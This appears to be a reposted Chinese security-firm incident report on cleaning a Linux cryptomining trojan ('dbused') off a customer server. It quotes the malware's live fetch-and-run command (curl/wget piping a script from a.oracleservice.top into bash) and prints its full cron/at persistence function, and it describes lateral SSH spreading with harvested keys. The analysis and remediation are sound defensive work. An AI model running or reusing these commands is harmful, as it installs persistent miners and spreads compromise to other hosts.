記一次與挖礦木馬的較量---linux下的挖礦


記一次與挖礦木馬的較量
聚銘網絡   2022-02-22 10:51:18 78105 1

一、概述

本文主要是記錄了一次針對挖礦程序的應急響應處理,從三個部分來解讀此次事件:

1、事件描述部分,確認是否有挖礦程序。

2、現場分析部分,講了是如何一步一步殺掉挖礦程序。

3、程序分析部分,針對挖礦腳本的詳細解讀。殺死競爭挖礦程序、進程守護、傳播挖礦。

二、疑惑的用戶

前幾天接到客戶反映,他們有一台服務器資產存在異常現象,原本配置的crontab定時任務全被修改,用戶重新對crontab進行配置,無法起到效果,瞬間就會被自動清空掉。定時任務的異常行為導致原本很多的正常業務無法正常運行,同時還發現存在可疑進程,希望能協助進行問題分析,並盡快進行處置。

三、受打擊的研究員

研究人員首先分析crontab的問題,使用crontab -l查看定時任務,發現只存在一個可疑的任務進程,如下圖所示。

image.png

圖1 定時命令1

從命令看起來是為了獲取http://a.oracleservice.top地址的一

image.png

圖2 聚銘情報雲查結構

與客戶確認該定時任務是可疑的之后,又用top查看了系統資源,發現了一個程序名稱為“dbused”的可疑進程,長時間的cpu資源占用達到了100以上。

利用可疑的進程PID,從/proc/[PID]目錄下的’exe’文件定位到源文件來自於/tmp目錄下的dbused。

將可疑文件扔到VT進行檢測,發現極可能與“CoinMiner”挖礦木馬相關。

image.png

圖3 VT檢測結果

看來這次攻擊八九不離十就是挖礦木馬相關的攻擊了,定時程序應該就是用來下載挖礦程序的,只要先把定時程序刪除,再刪除惡意程序就行了,於是一一刪除之,應該就可以交代了。

想法很美好,現實卻很殘忍。幾秒后,發現惡意進程和定時任務全部恢復了,一朝回到解放前,看來是把問題想得太簡單了。

四、研究員的反擊

研究員開始痛定思痛,其實在第一次分析的時候還忽略了幾個關鍵的線索:

  • 用戶反映crontab會被自動刷新(說明存在維持進程)

  • 未查看系統可疑進程

  • 未分析下載的內容

於是乎,ps -ef查看系統進程,發現存在五個以上的惡意下載進程,和之前發現的定時任務一模一樣,確實存在多個維持進程。

curl -fsSL http://a.oracleservice.top/xms||wget -q -O- http://a.oracleservice.top/xms||python -c 'import urllib2 as fbi;print fbi.urlopen("http://a.oracleservice.top/xms").read()')| bash -sh; lwp-download http://a.oracleservice.top/xms /xms; bash /xms; /xms; rm -rf /xms

image.png

圖4 查看進程

突破口都指向下載的可疑文件,下載進行分析,分析發現是一個結合資源准備、同類競爭、進程維持、橫向擴散、痕跡清除的腳本。

image.png

圖5 下載可疑文件

Step1:最大化這個進程的使用資源

image.png

圖6 准備工作

1.腳本先將系統的selinux防火牆設置為關閉。

2.腳本將用戶最大可用的進程數調整到5萬,便於最大化占用主機資源。

3.修改內存參數,目的也是最大化占用主機資源。

Step2:刪除競爭進程

image.png

圖7 殺死競爭進程

這里目的是為了關閉一些進程,這里的關閉進程的行為,目的是為了殺掉其他的一些挖礦進程,只允許自己的程序挖礦。

查看列出殺死的連接IP情報,基本都是與挖礦或木馬相關。

image.png

圖8 競爭進程的連接IP1

image.png

圖9 競爭進程的連接IP2

image.png

圖10 競爭進程的連接IP3

Step3:刪除文件的特殊屬性使得文件可以被修改操作

image.png

圖11 chattr修改文件屬性

chattr命令mod解釋

i:即Immutable,系統不允許對這個文件進行任何的修改。如果目錄具有這個屬性,那么任何的進程只能修改目錄之下的文件,不允許建立和刪除文件。

a:即Append Only,系統只允許在這個文件之后追加數據,不允許任何進程覆蓋或截斷這個文件。如果目錄具有這個屬性,系統將只允許在這個目錄下建立和修改文件,而不允許刪除任何文件。

最后將定時任務,進行了類似鎖定操作。

Step4:確保連通性

先解除/tmp/dbused目錄下面的鎖定。

確定本機ip地址的范圍(16位掩碼)。

確保主機能與惡意負載域名pool.supportxmr.com、a.oracleservice.top連通。

image.png

圖12 確保連通性

Step5:創建定時任務

image.png

圖13 創建定時任務

一共創建了5個cron維持進程。

  • /etc/cron.d/root

  • /etc/cron.d/apache

  • /etc/cron.d/nginx

  • /var/spool/cron/crontabs

  • /etc/cron.hourly/oanacroner1

image.png

圖14 /etc/cron.d下的定時任務

image.png

圖15 防止文件被修改

Step6:維持進程1

即確保dbused這個文件能正常運行。寫了幾個備用的函數,judge函數就是,如果dbused文件正常運行了,那么就會存在三個連接,如果沒有正常運行,那么就重新運行一下dbused文件。

image.png

圖16 judge函數

image.png

圖17  judge函數2

Step7:維持進程2

cronbackup()函數為了確保定時任務的正常運行,一旦其中一個定時任務被刪除,就會執行另一個定時任務。

cronbackup() {

pay="(curl -fsSL $url/xms||wget -q -O-   $url/xms||python -c 'import urllib2 as fbi;print   fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms   $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR"

status=0

crona=$(systemctl is-active cron)

cronb=$(systemctl is-active crond)

cronatd=$(systemctl is-active atd)

if [ "$crona" ==   "active" ] ; then

echo "cron okay"

elif [ "$cronb" ==   "active" ]; then

echo "cron okay"

elif [ "$cronatd" ==   "active" ] ; then

status=1

else

status=2

fi

if [ $status -eq 1 ] ; then

for a in $(at -l|awk '{print $1}'); do at -r   $a; done

echo "$pay" | at -m now + 1 minute

fi

if [ $status -eq 2 ] || [ "$me" !=   "root" ] ;then

arr[0]="/dev/shm"

arr[1]="/tmp"

arr[2]="/var/tmp"

arr[3]="/home/$(whoami)"

arr[4]="/run/user/$(echo $UID)"

arr[5]="/run/user/$(echo   $UID)/systemd"

rand=$[$RANDOM % ${#arr[@]}]

echo "Setting up custom backup"

ps auxf|grep -v grep|grep "cruner"   | awk '{print $2}'|xargs kill -9

key="while true; do sleep 60 &&   $pay; done"

echo -e "$key\n##" >   ${arr[$rand]}/cruner && chmod 777 ${arr[$rand]}/cruner

nohup ${arr[$rand]}/cruner >/dev/null   2>&1 &

sleep 15

rm -rf ${arr[$rand]}/cruner

fi

}

Step8:橫向傳播

從系統文件中獲取ssh連接過的IP地址和連接的密鑰,再通過遍歷嘗試ssh連接到別的主機並執行惡意命令。也就是說主機登錄過其他主機的話,那么其他主機也會被注入,細思極恐。

ssh連接用到的幾個配置

  • -oStrictHostKeyChecking=no (關閉SSH公鑰檢查,這是ssh一個重要的安全機制,可以防范中間人劫持等黑客攻擊。)

  • -oBatchMode=yes(當 key 認證不成功時,不彈出告警防止自動化中斷)

  • -oConnectTimeout=5(超時限制)

  • -i(使用密鑰文件登錄)

image.png

圖18 橫向傳播

image.png

圖19 被獲取的部分密鑰文件

image.png

圖20 可能被感染的其它主機

Step9:痕跡清除

對執行過程中遺留的文件進行清除,減小被發現的風險。

image.png

圖21 清除痕跡

了解清楚這個惡意腳本后,便開始對該惡意程序進行處置:

1.  先‘service crond status’關閉cron服務。

2.  對所有cron定時文件進行清除。

3.  殺死所有惡意進程。

4.  刪除所有下載的相關惡意文件。

5.  啟動selinux。

6.  修改本機和可能被感染主機的ssh密碼。

7.  對可能感染的主機進行檢查。

采取了以上的操作之后,挖礦程序終於不再“復活”了,crontab也恢復正常使用。

參考文章:

《linux文件特殊屬性 lsattr,chattr詳解》https://blog.csdn.net/sugarCYF/article/details/108034987

《SSH交互式腳本StrictHostKeyChecking選項》https://chuxing.blog.csdn.net/article/details/82425279


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM